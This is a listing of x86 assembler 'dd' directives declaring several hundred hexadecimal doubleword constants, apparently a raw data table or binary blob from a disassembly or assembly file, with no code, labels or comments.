dd 0B8F4BFF5h, 84794400h, 5C052597h, 0D23C3BB7h, 0AA9ED980h
dd 82BA143Fh, 0FC007FFEh, 0D0BD5613h, 51AE15Bh, 0BCAD018Bh
dd 3921C0FEh, 4004246h, 0AA1F7B09h, 83F768h, 0AC37195h
dd 0A60CA0D9h, 0E5871518h, 5B9030h, 616533F3h, 7B6A1BBh
dd 30134D00h, 96865C1Bh, 0DB661F75h, 80042E44h, 62FB683Eh
dd 0A41E597Ch, 0F180DE88h, 5D20CA39h, 57DB0081h, 0A8742907h
dd 3500E4DDh, 55249480h, 0E5314h, 402867CBh, 0B17A8138h
dd 0F47E4700h, 0AB35421Bh, 8A9F0192h, 11D8202Ch, 0F31E4D3h
dd 0BE00CC75h, 54F14DFh, 30B667E1h, 8E42764Ah, 60004795h
dd 85825B29h, 2C94ECCh, 0E3FB21DCh, 33C03CB0h, 870084F8h
dd 54395057h, 0C815B4h, 0DB2C193Dh, 0F45ECFD1h, 0E955F300h
dd 0E0C7A4Eh, 49EF006Dh, 0D762DCE5h, 0FB00B9D0h, 54772B2Dh
dd 5AE913h, 7BA420DAh, 645E6107h, 0DBCDD500h, 603BFFF5h
dd 44C000CCh, 0A49C90B7h, 0D300E9C9h, 20477D2Ah, 2F8593h
dd 5CEEA713h, 714A81EFh, 2DEA21Eh, 149B3300h, 0A677C0Eh
dd 0FB3E77A0h, 761709A0h, 0D10ADC80h, 2500BBEAh, 371C4972h
dd 678B57h, 9E662A10h, 0D517904Ah, 8F0728FEh, 0F2C3C45Fh
dd 4924601Eh, 4EDC1B3Fh, 69780EBEh, 0A0D4D820h, 200C995h
dd 5ECD39A3h, 2E937A8Dh, 53E05D3h, 404FACAEh, 0E623D18Ch
dd 21387D4h, 3C80B543h, 66C52Ah, 4EBE89BFh, 321D5218h
dd 0C726F403h, 0D2446D9Ah, 0A73CE86Bh, 9D5C0067h, 0F585202Ah
dd 21E8D02Ch, 2031C734h, 4010FF18h, 1D88906h, 0E813FD4Eh
dd 0AF8C11C0h, 79A6D3Ch, 101681ABh, 4BFD32C0h, 0F7A57465h
dd 0E507342Ch, 0C1ED3A3Bh, 0D4B14F60h, 811DE373h, 84EA5F96h
dd 25A6BA0Fh, 199D4D7h, 781E802Ah, 5C08AC8h, 9D7A3165h
dd 0DC16B928h, 853824E8h, 95301D4Bh, 0B6323700h, 0D3A5A725h
dd 0A8280C51h, 0C0612A81h, 10490CE8h, 0CF4D060h, 0B669117Ch
dd 0A90AA6C0h, 9438B96Ch, 85BBFB00h, 0D093FFh, 0B4EE8B5Fh
dd 378D1535h, 0F957C001h, 0CDB7652Fh, 7C5BE4h, 42D7DEF4h
dd 0DCDAA3C9h, 48CFB000h, 14E4E383h, 0D3A1580h, 41EBC70h
dd 0FC1D8338h, 0F3C09A6Fh, 0D9C69C25h, 4CB1BBA0h, 9303F791h
dd 8126F377h, 0A43F2103h, 1EC522Ah, 0D7421911h, 40AC1CBCh
dd 0A0E3F41Ch, 27114860h, 30829522h, 0E81EC28h, 0C31DBA9h
dd 0AB6411F7h, 0A469B2F8h, 0D9DF0FC4h, 8D48DEDh, 22F0496Fh
dd 0EB641DF6h, 1502998h, 52EC6816h, 2904108Dh, 0AF4C0045h
dd 98974ABh, 336037DAh, 0BC36E3C8h, 79E764Eh, 26AA6738h
dd 0C4103C3Ch, 1DD38F04h, 2491319Bh, 0D8DFAEBCh, 1B65902h
dd 3EEB019Ch, 47DE061Ch, 32B4C3A4h, 8CCE09C1h, 0A9EF0F10h
dd 0E283CD0h, 7D2FB600h, 78C9BF9h, 635BB300h, 0BDAC24F3h
dd 28F01EF8h, 18298C3Ah, 69182E38h, 0A868F79Eh, 792D0C40h
dd 6C1098C2h, 6574ED1Eh, 0FDC2975Eh, 900FCF80h, 3A91F8Ch
dd 0EA22BF0h, 18B8134Ch, 0A744471h, 6E0F261Eh, 7D0AE097h
dd 3C038C41h, 0B0B0573Ah, 362E87E2h, 18696EA1h, 0AC312475h
dd 81DA90F1h, 3C050C40h, 27920E6Bh, 58092AB3h, 8A112E81h
dd 816CEC25h, 2484EA50h, 3D058D78h, 8252CA28h, 9ED7CC40h
dd 3B35437h, 5D225113h, 88B80575h, 3A001915h, 25084958h
dd 7C6D87FBh, 0A0A84016h, 2C5749h, 0FCCBC597h, 0F987A5h
dd 6C3B206Ah, 46780C48h, 0A70FEB00h, 9D2537C2h, 30512F1h
dd 0E2540EE3h, 0AD526C80h, 8C6E2A41h, 0C83420D0h, 4F7A54h
dd 56737DDFh, 655C55ECh, 4C0DE8F9h, 74422206h, 7A29CBD3h
dd 1658F8DAh, 14B3931h, 0D3038659h, 4EDE0EFh, 0C800EC7Ch
dd 0D2C39606h, 1DC2EB8h, 0FF8A8274h, 30D69D14h, 0B600C594h
dd 0C0D2CF33h, 95B33Dh, 1B3E1109h, 431DADECh, 8887DF00h
dd 0C83D9FEAh, 0BE1400D2h, 1E6328Dh, 9000B599h, 0EB1B3CDBh
dd 0C4B5BCDh, 0A9DF66Fh, 0A60FC820h, 0F44349E3h, 0D8E3E120h
dd 380CF618h, 0C0F03B43h, 548F05D2h, 80154FF3h, 7D6D17DEh
dd 21E108CCh, 0F34C002Eh, 0DF843DCFh, 4A016581h, 2197D12Fh
dd 8840D2C2h, 310AE0Eh, 1569981Fh, 8100658Eh, 0A0AC805Eh
dd 0ADF274Bh, 0E305896Fh, 0B2730188h, 0BB1D61BFh, 0E9808528h
dd 0B0413422h, 0F51AA43Ch
dd 309B1320h, 769C8BDh, 4A15DC62h, 0C009E0h, 9517BE59h
dd 0FE76B224h, 5382001Ch, 3A75AEE1h, 0CA009F91h, 0CD73650Bh
dd 6715052h, 800748C4h, 0D500E1F3h, 309F2587h, 0C04D341Dh
dd 47806260h, 3A306509h, 7261299Bh, 3B54E0D6h, 71873175h
dd 205AED4Dh, 0CB4B5E6Bh, 72C88700h, 436A48CCh, 7078D8DEh
dd 4225F55h, 53EF3C15h, 4B3C9AA2h, 1AA194EBh, 0E7786084h
dd 50384187h, 30039427h, 2E393A18h, 0E0A1C237h, 8511858h
dd 7D154AF3h, 2F4086C4h, 50C2F349h, 60689C00h, 9D4DB336h
dd 4408483Dh, 19221C0Ah, 27080BCh, 0B27117E4h, 0A340CB00h
dd 0EA91B9D4h, 841C0642h, 98B41989h, 0BA059F09h, 0A3040016h
dd 246599C8h, 0A10C2B82h, 0DC4815E4h, 74B6F700h, 1743686Eh
dd 0EACCA1C0h, 607003B2h, 4F3E13Eh, 0A7012309h, 84EC8055h
dd 945781C7h, 1B3F1BD3h, 59420829h, 5EDD4AC0h, 53A7F71Ch
dd 0ED186E40h, 0A3617DBEh, 40D3C2A8h, 0CA623D88h, 11A01811h
dd 0F358805Fh, 8CB51573h, 0E328844h, 474DF350h, 1E545D20h
dd 0B3074018h, 7D60823Eh, 8C4C9783h, 0AB911C90h, 549065h
dd 525D50C6h, 0A5DE1DF0h, 906FCD37h, 0A0332062h, 0AF702890h
dd 4E4D0355h, 56B53D90h, 21100830h, 4AF4873h, 28C0B034h
dd 0E5E88196h, 857403CEh, 0E12D884Eh, 81EAA227h, 5EB1FECh
dd 20CC42F7h, 0F99440CFh, 0F1A808A3h, 84064578h, 17571D0h
dd 727D0041h, 0F499D73Ah, 8F62CD35h, 182122A8h, 5910AF74h
dd 0FE2AE4Dh, 0A42FC1C0h, 221FDE00h, 4F5DC0B5h, 0EB6B014Bh
dd 0CD954DCAh, 2C382006h, 1E410810h, 0C448C839h, 69CBA980h
dd 0FC1ED8DEh, 0AF096050h, 49280012h, 142FA3F7h, 0A89A588Ah
dd 98956204h, 38F90230h, 57E8B052h, 157411F3h, 808788ADh
dd 8FF34F35h, 7E019BCDh, 0A5ADD4E2h, 30221503h, 0D998404h
dd 727481EDh, 7A11EC6Dh, 0F0B54128h, 55901B0Bh, 131A00BBh
dd 58849F9Bh, 5880C06h, 1736FB80h, 0FA81ADh, 94599FABh
dd 6E286C47h, 0F4143D00h, 0A0BFD538h, 0E04B18ECh, 0C6323917h
dd 9A5EFF09h, 527C0420h, 0E8093h, 0FFDE5821h, 0A310D940h
dd 0F20B4100h, 0AF95F4FEh, 899E0068h, 8033A2C0h, 911B85A1h
dd 8C8BDD1h, 1CB40868h, 0EE197782h, 33E0482Eh, 9095543Ah
dd 0A5960030h, 0E4710112h, 0D09174D1h, 85AF2130h, 26C1903Dh
dd 409C3887h, 6575ABBDh, 4909DC90h, 80A58146h, 597B91A0h
dd 886F485Fh, 931C4D24h, 5E900145h, 89A824FDh, 80CB4C28h
dd 81C474D0h, 0A13400A9h, 617FCF36h, 492075Ah, 162CE502h
dd 0C43B1415h, 3CCC0F50h, 40BE4544h, 0DCCFEC81h, 0CE1E5B83h
dd 0B91C8F3Dh, 9FDB1442h, 1E58C4BCh, 0E4C9EE63h, 3BC50148h
dd 809C3AD8h, 0CB299951h, 8CAD64h, 0FE1AB095h, 1F5A891Ch
dd 9B72AA00h, 7A5230F8h, 745524A8h, 0F1F68868h, 1E1D9903h
dd 84B03D19h, 4CC0A52Ah, 45233C4Ah, 71F35203h, 0E062DC15h
dd 0F34A2C20h, 0BDCC0608h, 48F59D89h, 86B7710Bh, 58B020EDh
dd 0A80A1A04h, 0C0C121D0h, 1929E7E1h, 4258D82Ch, 204DCE44h
dd 0B3089016h, 1404921Ah, 0F0839B41h, 0C9A16A87h, 7447E881h
dd 1919803Dh, 0BDCBD85Bh, 0F0771F5Ch, 1108B3BAh, 437C2100h
dd 0F83A4AD8h, 0B9930F5Ch, 0FBA07226h, 6DF49284h, 8631AF04h
dd 94900522h, 0F33AC1Dh, 1FBBE70Fh, 4BC2F7C0h, 0FC006EF8h
dd 522BAA58h, 6FD1D80h, 0E01389FBh, 8D3FB11Fh, 5E9E82D0h
dd 0E0236D37h, 2B597F1h, 4EF393CBh, 8040C5A5h, 3807F72Bh
dd 0A45FEC07h, 0CC807385h, 28659A5Dh, 48D01172h, 0C402E45Ah
dd 71F7C366h, 0A1FBCC40h, 30911CF0h, 2D3AFC80h, 201C087h
dd 0F216E763h, 34C1F35Bh, 92E0FC86h, 1BF8AD00h, 0D9E6AC9h
dd 2ED10562h, 26BA94h, 9A0510FAh, 68998675h, 19124B1Dh
dd 85916400h, 0B8091804h, 7BB5209Ch, 0D4B1F498h, 0EC1888D1h
dd 96D95200h, 26701931h, 57411F8h, 4A0079C8h, 85787328h
dd 584C12F3h, 0DEC0040Fh, 0A55290B4h, 0C7382D01h, 27960778h
dd 11B461A4h, 0F3568051h, 8CA51575h, 308944h, 34C5F34Eh
dd 4192AB61h, 6D028BF8h, 0CD996A9Bh, 758C4888h, 0C354818h
dd 5D878428h, 440130BEh, 0DBC0F709h, 0EED5F0BDh, 2C1731C1h
dd 3EE59D82h, 912FE020h, 180FD158h, 0E4500245h, 13B26169h
dd 0B508CC81h, 0CA342506h, 0B8800864h, 9B0102B9h, 0A22B9875h
dd 68E0644Bh, 0BB2A020Eh, 71F0D51Ch, 993E8860h, 1F0050B0h
dd 30A0A9A5h, 269E05D3h, 408D0C0h, 19B2989h, 7EDB759Dh
dd 4829A072h, 0D85E0160h, 1844BDC6h, 467B8816h, 0BD22D807h
dd 0E5908449h, 11C782DCh, 0F1DED8Fh, 0CF8905FAh, 0CDCA003Ah
dd 0A019F99Dh, 3058DC98h, 0D2299A07h, 400B7A7h, 4D5AB9B1h
dd 0E5F900Eh, 0CAEFC34Bh, 53D8D83h, 809B3816h, 1EE0F821h
dd 0E86B4180h, 93BAA36Ch, 73036676h, 3D2157Ah, 0EF611719h
dd 0EB5C0658h, 950948ACh, 37E9186h, 4C19F074h, 0DE88449h
dd 0D7441E8Ch, 9FD3014Eh, 0BC8885B1h, 0C901C648h, 0F89A69FFh
dd 880A0C1Ch, 0FC002155h, 70854F06h, 319B31EAh, 0EDE918BEh
dd 9C13101Fh, 2AA400BAh, 0AE87F353h, 0B30C81E7h, 0D8645D95h
dd 0ACDF4ECh, 1093AD97h, 0A43902ECh, 84E1DC31h, 2809D992h
dd 4182048Ch, 490E599h, 98D6840Dh, 0C3380118h, 89BFC44Fh
dd 203DEFB1h, 58130AD2h, 65782048h, 0BD088CD7h, 179A31F1h
dd 1A970C9Fh, 0CB4D2290h, 0E4090004h, 525E03F0h, 50BD600Ah
dd 21888407h, 0DEDC3754h, 0A762AB01h, 0BDA655C3h, 1D6D53E8h
dd 405DD8A5h, 61AFFAB6h, 0A1742ED3h, 7DF7B80Fh, 0A8C7005Ah
dd 3FC0A3A6h, 74B079h, 0D1BB7338h, 21446B5Fh, 4BC84D00h
dd 0BA0CA6F5h, 15973CFh, 614ED1A7h, 0DC5DFFA9h, 5057ECA4h
dd 0FE571E38h, 94BDB20Eh, 0DF5AA818h, 18B9DE08h, 0B130B05Fh
dd 0DBA76D1Ch, 0FE42C880h, 5A53ABh, 0A95838DAh, 46475FFBh
dd 139201Fh, 0DACF580h, 0C37EEC45h, 47514BD1h, 41B84DC0h
dd 906438D6h, 2EED0468h, 8514F58Ch, 1E94075h, 574186DCh
dd 42787049h, 0F9BE1905h, 0F081E8CEh, 3083EDBBh, 438FEB52h
dd 0A6E191Eh, 80FEF0Ah, 9981D024h, 3CD6489Dh, 503BF420h
dd 12D32CF1h, 0A286265h, 660C3804h, 0C8C8948h, 78C7A4Dh
dd 0D79D4DFCh, 0A090586Dh, 759E8173h, 408CDCE6h, 48E96049h
dd 594C40CCh, 9E342AA3h, 6E490C78h, 0F2B1F617h, 7A437E87h
dd 0DF8921BFh, 48EB5990h, 11A111D4h, 20B40813h, 0CA0D9FECh
dd 0BC2881EFh, 3C155EF3h, 0CBE461D2h, 0FB0727F2h, 96160448h
dd 600BC52Ch, 0DCD7B300h, 28D833BDh, 90CF673h, 47003C8h
dd 0C9A928C8h, 1978740h, 174D4EB3h, 4189BDAFh, 0E29AD20Ch
dd 4B28D064h, 6F1F58B5h, 0F3D450FCh, 884EE864h, 0F098CCD7h
dd 608C5B55h, 0BCA47C3Ch, 0D53DB880h, 0C474A089h, 8D3715B9h
dd 0F63FC423h, 81F899A9h, 0A134A2DCh, 145C30ECh, 45489084h
dd 0B9408C73h, 29F6C119h, 918C60D9h, 0A0E44605h, 2672F35Ah
dd 4C7CBE15h, 0D6443398h, 0E5411881h, 35F49148h, 386F68C1h
dd 0A0104791h, 88A686F0h, 6EE04260h, 61BE18D3h, 0D4585928h
dd 8A944905h, 0E08C6140h, 72C7AD8Fh, 25980C32h, 0DF8072EAh
dd 508C98A8h, 0CD811C31h, 0DFD2843Eh, 1917C504h, 0A1588830h
dd 0C8A328F0h, 146042F4h, 9994ED37h, 8BDE2D40h, 84603AC8h
dd 0D34A1E28h, 9943E680h
dd 59270C8Ch, 0AF4C028Fh, 0F10C675Ah, 0BC8B0ABFh, 0A8A1B8C6h
dd 802814CCh, 0C99D147h, 4787585h, 8FD8558Ch, 3D6CF29Ch
dd 13BFB342h, 0A039B124h, 20B3AF9h, 0B409AC1Fh, 0DB144903h
dd 7462D84Dh, 6159221Ah, 0FA2350BEh, 92CBE0DCh, 76FBD9Fh
dd 0D8A8B451h, 9974D281h, 0D8C014B4h, 0BCAAD1CBh, 5417D958h
dd 0A22C9A4Ch, 0CCF035F5h, 3F28DDCh, 1F2BDECh, 3F44810h
dd 203A36BBh, 977C2D78h, 80217288h, 0CCA44182h, 5E75DC07h
dd 4BC3D0C2h, 67EDD060h, 2E70C698h, 70CE18CEh, 99125011h
dd 0FFA82275h, 6693C98h, 3946A9F6h, 3C47E8D1h, 0B19C6704h
dd 0D8497990h, 11CC3C18h, 0E1AC1DDBh, 39008B05h, 1C903B9Bh
dd 557CBE00h, 0A4ABFAA5h, 0AAC30332h, 18D1A76Dh, 0F7A7A89Bh
dd 0AF408EBAh, 696B6B0h, 0F772591Ch, 0C1A828C0h, 3361AAh
dd 0A755A0C0h, 0BA60AD8Ch, 6218FF1Dh, 7B28F81Bh, 0C0A33E11h
dd 0F5B65600h, 0C1336FA6h, 0B761AF00h, 32BD5B8Ch, 0FCA7F8CDh
dd 0F05975F4h, 4AA78FCh, 0B955FEBBh, 0EFE88864h, 607D04ADh
dd 0BDA64BCBh, 0A302B490h, 54B0C264h, 0C74479D3h, 54242823h
dd 9D6040C0h, 0B6D3F4CBh, 0B886645Ch, 5C579F48h, 99496418h
dd 683D26B5h, 3BDF05F4h, 0EE3081D8h, 1E9EC41h, 37D44B2Ch
dd 7103FA01h, 90803732h, 5F9ECA65h, 2F044B52h, 0F62331F0h
dd 0BB8008BDh, 0EE9AA8E8h, 9089EF4Bh, 634ECC30h, 0CAEB7074h
dd 4080EDC2h, 536038F6h, 0EE8D28B6h, 0A1E108A3h, 52F9F980h
dd 0D0855CD4h, 6050028Ch, 0A2957A4Dh, 89870C3Ch, 9D1095F1h
dd 0E2E41D12h, 4BC85C80h, 0C67FE6F4h, 68434AE0h, 0F888BF33h
dd 86810414h, 0A45385F1h, 0C3408328h, 19D87C38h, 78A6341Dh
dd 37D448F1h, 8CAEB3E4h, 0B2431308h, 8138F392h, 5C2AFFDh
dd 0F8463AE0h, 1E98C7D2h, 93011504h, 0B3209018h, 5C038F23h
dd 715934CDh, 0B9E41Ch, 0E009D079h, 9CF03064h, 22F90828h
dd 0CAF8B864h, 1F861A09h, 99E60008h, 0F1EB15C6h, 79D94500h
dd 0A86DA120h, 75A9488Ch, 55AAD307h, 985C85BEh, 50B0CE78h
dd 0A6C1A916h, 1803541Fh, 0A0DF4474h, 2D0A3B9h, 991E7A59h
dd 60981403h, 89020C69h, 0FFAD1DD4h, 0E104B080h, 53CD7C4Ch
dd 8400C10h, 0CFBA1F46h, 748C22A0h, 78560C2Ch, 0F3D336C1h
dd 4815218h, 0E491AC4Eh, 0A805882Fh, 4A103298h, 14F40899h
dd 0ADDC04A4h, 92C9930h, 22104B70h, 81926776h, 0D1904EC6h
dd 2109F08h, 67887040h, 8918106Bh, 3D619CB7h, 4C487B88h
dd 35334001h, 0C50008Ah, 0D07CDB58h, 0F1321828h, 0F324EE09h
dd 0F591F048h, 9744F222h, 12998994h, 489B2496h, 229D9198h
dd 9C9F449Ah, 9E12E189h, 0C0C1E327h, 47C9DC4Ah, 615122C4h
dd 1835C174h, 4B33D1EDh, 4F229B0h, 82B9575h, 73C1026h
dd 431C2F59h, 0DFE035E6h, 0E5E9CF38h, 0B7B0E03Ah, 87C8603Bh
dd 0AA2FA8EDh, 52C7B647h, 9A41BE87h, 20E386F1h, 6071AE40h
dd 0E1FFFC81h, 0C8C0B78Bh, 3AED09BFh, 484D7BA5h, 7F04E87Fh
dd 2B1659F5h, 43508830h, 444B08DEh, 29BEC44Dh, 0B75C38B9h
dd 5848EC83h, 0AD657103h, 22664AFFh, 18826309h, 5DF50417h
dd 883AB3C0h, 13001BCh, 763703FFh, 31104171h, 0E0384AF3h
dd 0FDAC67h, 0BDB39363h, 0AEEC1E4Ah, 3B68343Eh, 6A988025h
dd 0E0A63505h, 3EC14286h, 4D11009Fh, 2840B31Bh, 28EC5417h
dd 0E44EBDCCh, 7D1830E2h, 0ED40D376h, 6331C0B1h, 0B86FA9CEh
dd 5359F407h, 67C0BEA0h, 0F1A3C1B9h, 0D3BCA42Bh, 0A700BA74h
dd 0A659CFA8h, 0AE38FAADh, 31BD7814h, 0AC306CA4h, 8CC3D960h
dd 30D1B638h, 0ABF400A8h, 5CFBB7BFh, 0EC1E6961h, 0FE4C5368h
dd 37D090ACh, 4019A35Dh, 6DB3FBBAh, 0ACFFA50Eh, 3A809B55h
dd 0A409D328h, 5DF8ABh, 0A3A9C0D0h, 0A5BA0DD2h, 0D431BBA7h
dd 59C2AFC1h, 9AA2B9A9h, 63A8100Ch, 0ECA04ACFh, 40E94A44h
dd 14A78840h, 0DCBAABF5h, 42F66EC7h, 4B55E933h, 254996ACh
dd 0BC7641C0h, 2F20F92Fh, 0E00A907Bh, 9D81BC16h, 4298A1F8h
dd 0D368F52Eh, 70D1BAE4h, 9A7ED450h, 0D8390024h, 77BAE49Fh
dd 0BE9B1579h, 0F00EC16h, 7E78EE3h, 0E0BDE996h, 0C6786CB8h
dd 283311A9h, 13484017h, 437ACFCh, 0E18B26A9h, 0F2186F51h
dd 0AE77B923h, 0D2C22268h, 31F33A30h, 0D0D62232h, 411D2C81h
dd 4A20221Dh, 0F1745F3Ch, 8C40022Ch, 1D282C06h, 332B5237h
dd 5908F5B8h, 0C36FA74h, 0ED79CE21h, 3708DF67h, 0A513EA6h
dd 3448EE18h, 7DE00EC8h, 0A91740F8h, 2E010F73h, 0D89BC94h
dd 0F72A368Bh, 9D8F0494h, 0ED0C645Dh, 870CAE79h, 308A9FF1h
dd 69E9613Ah, 1011F6EEh, 12E595B3h, 0AF1AC918h, 75DBA460h
dd 3A104092h, 99FCF1C1h, 3186F0EDh, 0D835CD74h, 974C3C54h
dd 2A58AD51h, 0B20418F6h, 1B0ADDBFh, 85F3E039h, 2A8E3005h
dd 19AE2130h, 0EE3380C5h, 586F4C0Ah, 0CA285EA5h, 1DD77054h
dd 0A497EE29h, 56F19908h, 1DD31121h, 0B831E309h, 790B60D9h
dd 0D25A3E84h, 6F28A742h, 0E5CE9DA8h, 2808F005h, 0FB105722h
dd 0FC90CA8Fh, 88974275h, 18D247C1h, 0B991217Eh, 0FA22C744h
dd 0E2DD0835h, 4208D551h, 9AB9428Dh, 10224214h, 55FCD36Ah
dd 2D888D42h, 116A7244h, 939C96F1h, 885C24EEh, 0CD45BD6Ch
dd 25206023h, 0CCD73709h, 4B6010EDh, 137936F4h, 9AF84061h
dd 2136BE31h, 0A03FDA2Bh, 58D00DEFh, 8232890Ch, 4EC147Ch
dd 1FC8001Ah, 4D410955h, 11636CCCh, 214879B4h, 9997848Ch
dd 2828D0CCh, 51747104h, 0A22E50F2h, 9E930E0h, 0C8C296D2h
dd 0B6829D40h, 91ED4D2Ch, 0C3675A0h, 9844F053h, 0F2AF3771h
dd 0A7578921h, 118FCEA8h, 3E0A2908h, 0E0C11660h, 0F811C001h
dd 0FC96344Ch, 0CFCA1000h, 0C7B5D2AFh, 53990629h, 398F9A07h
dd 1D5084EAh, 46880664h, 0D6500EA7h, 91806E09h, 543A2E1Ah
dd 0A11F4873h, 934ECB90h, 0B6AE2352h, 0BA40005Dh, 6726CFF5h
dd 4CA0EACDh, 6D269614h, 37004816h, 684C9C66h, 216E6004h
dd 0DF4B5FEFh, 6A4DD106h, 3199A3Bh, 0FE43F3A1h, 0C5A03E52h
dd 0D8010BC0h, 0F165DA1Fh, 30209CB1h, 2F6D0049h, 5276AA99h
dd 0F03FDCB5h, 157583FDh, 7C057186h, 7D2C0078h, 0E5765C6Fh
dd 51F24B50h, 0C4A01751h, 3A30363Dh, 0BB357997h, 61E282h
dd 4B96D4EBh, 69E5CDECh, 6F306660h, 169A3621h, 0E1CFA65h
dd 80014138h, 801603ADh, 4230BA10h, 0F4373813h, 870F171h
dd 0A9850CEFh, 8AB8E1F9h, 9776B201h, 594254B9h, 0AF45E8h
dd 41BB67E8h, 0B0956643h, 7B0EE707h, 74C058ADh, 7348A50h
dd 726A4C40h, 0D2FE4056h, 80062F0h, 0F258E70Fh, 79474018h
dd 44F16197h, 0D0634605h, 1D1E4C03h, 489D32FEh, 675B033Eh
dd 0FF30AABh, 52E61B40h, 50AC0680h, 40A40C89h, 941E27F8h
dd 5400F84Eh, 790F5B06h, 0A6AB7863h, 56B90230h, 4128E44Ah
dd 67B81C9Bh, 978035F1h, 507A0278h, 4A7B27ABh, 46066099h
dd 48DBC8Ch, 4127E4C1h, 4E28709Dh, 7D85310Bh, 0C18704Dh
dd 8A0063E7h, 397EE60Bh, 154CBB45h, 2C9628A2h, 0ECA508Eh
dd 68A807C4h, 7673C027h, 38AC59BBh, 497D9700h, 79157310h
dd 0D2E50A51h, 0E8145A78h, 5995E040h, 49714C73h, 770CE30Eh
dd 7A7D8567h, 4D02F85Dh, 883143AFh, 5E55044Ch, 467B0800h
dd 47675EB2h, 7E443EB1h, 7D00223Fh, 5A87FE6h, 34984B40h
dd 4D62493Fh, 281E7400h
dd 0B901234Ah, 29734C80h, 0EAC9820h, 0EB17F20Ch, 939D41EFh
dd 0A8400F03h, 4E9728F8h, 265AE63Ch, 2640201Ah, 190E730Bh
dd 8F94FE7h, 230DE14Dh, 0D5347674h, 6010914Bh, 26FCAF04h
dd 307C48h, 59AB517Bh, 0B2FB5650h, 0B4374D90h, 58201089h
dd 4D27FC26h, 545858h, 60825BCh, 3CA86740h, 0E300B90Eh
dd 376351D2h, 4B1DF128h, 4D0059FEh, 7EB5058Ah, 0D41E74E4h
dd 4098C10h, 0B001D286h, 0F24C0BF2h, 527570C0h, 8379FC98h
dd 0A4293724h, 0F10AE606h, 4D053310h, 86FC3360h, 513058ACh
dd 0AC2688F2h, 52740331h, 537A1A37h, 9EE6D2A1h, 4F0E3430h
dd 0E40790F1h, 8C53E759h, 281FF2A1h, 95C055B6h, 9351A83Eh
dd 32611D77h, 0F504A9E0h, 0FC988258h, 0AD370196h, 0B236C03Eh
dd 0AC71E04Dh, 309B341Dh, 4FD63300h, 7C04E99h, 8E49A83Dh
dd 8088473Ch, 9B3B8314h, 72FC717Ch, 3F0042E4h, 92AE3098h
dd 0DE7F4395h, 406CC060h, 25603D88h, 49F29778h, 414D9507h
dd 0ACC07048h, 0FA388292h, 36960352h, 439B4AAEh, 377233C0h
dd 7F34851Ch, 46606C94h, 82A0BE04h, 811D4DC8h, 0BB12A74Ch
dd 9649AC00h, 1F4F423Ch, 3AB42972h, 0C784D75h, 927F3380h
dd 7E7C418Bh, 483C8C3Ah, 797874D8h, 20DF42F8h, 0D2122912h
dd 9B0081Fh, 489347A8h, 0A9A3E43Ch, 0AB00507Bh, 864B9D48h
dd 0E778C49h, 4C94DA41h, 699B1B9Eh, 444236E0h, 4DA9D0F9h
dd 47E8C072h, 2C3D7129h, 873C0F49h, 0AEF09B35h, 3E4E7251h
dd 0F8613A41h, 0D3368192h, 7E4D8BF0h, 80D63431h, 18499AD4h
dd 5CD15021h, 0E4BF3836h, 0BE047Ah, 0A488B625h, 1E4DA816h
dd 5A9377Fh, 2C7E398Eh, 34533E1Ch, 42B9A118h, 5AEC860h
dd 0AC3C8DEDh, 0C0683B3Eh, 97D37F22h, 4EAD2C4Ch, 0E2AB05D8h
dd 4964C071h, 852A3C94h, 1269184Dh, 50FC88C9h, 0D210C080h
dd 2E1CBFE9h, 822034A8h, 0A6289840h, 9A3C38E0h, 31723E0Eh
dd 36978279h, 0E878E4ACh, 0AB430E9Ch, 62809B40h, 9E4D9AEFh
dd 288E4817h, 8F96800Bh, 2F8C034Eh, 3097B083h, 90465C78h
dd 0B6E2A20Eh, 3909E8Fh, 298D92A8h, 7E2103ABh, 83438C3Ah
dd 0AD284197h, 0CA807548h, 3206C85Bh, 176841B5h, 5C71291h
dd 0D48530E0h, 89342EE8h, 8CEC61A1h, 608FC9E1h, 6854AA50h
dd 35A102BEh, 859B33ADh, 0A80034F4h, 30B84D79h, 0F04E50ACh
dd 8FF21D42h, 71EE0008h, 0C034AD44h, 496EA9FCh, 4D88C021h
dd 0E88151A7h, 71C8A0AAh, 904A65ADh, 4FC8077Dh, 16E0427Eh
dd 38868070h, 0D3F810A5h, 0A8300D8Bh, 0F0E8913Eh, 28C33297h
dd 0A1CB219Fh, 1C2143BBh, 4AB4DC00h, 20356197h, 20AE399Bh
dd 49E83226h, 0B379527h, 52E0B9B8h, 8F12C452h, 138C9580h
dd 0F89871CAh, 48AB1F3Fh, 0D8D11B9Ch, 0D133883Bh, 12C0D0DCh
dd 0D80ED0A2h, 1300468Fh, 2A8147A6h, 21F00498h, 427F80A0h
dd 0FA1486E4h, 7AB07854h, 71F08250h, 9E48AA06h, 3CD0A236h
dd 677B833Dh, 5F932878h, 2ADE919h, 98589242h, 96625DDCh
dd 4430B060h, 1C92869Bh, 0FD71493Ch, 36704209h, 0F44E08ABh
dd 0FC644C69h, 133890AFh, 0C34EAB4Ch, 2FE35230h, 0F18C34C1h
dd 14E89282h, 12F05010h, 188B4DACh, 0B480B4FEh, 0FDB44D9Eh
dd 4CB6DC30h, 3E4CA4DFh, 3387793Eh, 0D0717AAAh, 4D0FD6Dh
dd 7595171Dh, 401F9BC0h, 60B9E1h, 0A7D4705h, 0F73D615Fh
dd 9AD6D206h, 68BBE7h, 0D3D1588Ch, 76DA9278h, 0A980FC60h
dd 0C042897Ah, 8FF6D458h, 0B7F8C602h, 0BA1B100Fh, 79D9C0A3h
dd 0A51FD6Ch, 22901FADh, 25147820h, 20A97E8Ch, 31D7279h
dd 7198AA52h, 1521CA11h, 84607C28h, 46EEC80Fh, 4527B098h
dd 63DDA201h, 0CAD3519Ah, 0FCC09848h, 76D90019h, 5F2F3D4Eh
dd 0ECE83E1Eh, 40BE21CFh, 5344A419h, 0B7E428AAh, 0DA662284h
dd 0D8488B0Fh, 2F5A20F6h, 184DE030h, 9090E288h, 49C0DFABh
dd 0C323E573h, 1C5F0D03h, 0C76A954h, 0F981921Ch, 6E448h
dd 16A68C96h, 0CDA30530h, 6099DA29h, 7B18E359h, 9091D600h
dd 990D138Ah, 0A89D184Fh, 5DE9698Eh, 633AB400h, 0EAF26543h
dd 0BEFA003Ch, 0E7F62373h, 1028CBB0h, 0D0E6A09Eh, 5CAA271Eh
dd 0A6D52185h, 1908887Bh, 477E0458h, 82F43DBAh, 896A9C4Dh
dd 3F044087h, 796D04E1h, 80BADD92h, 91328050h, 4955A930h
dd 1210C41h, 0DBD70B1Bh, 0A1EFE25Dh, 98008808h, 0B9B020D3h
dd 0B1F260CAh, 951F7872h, 5DCE430Fh, 0F6FF80F9h, 0FBA79Fh
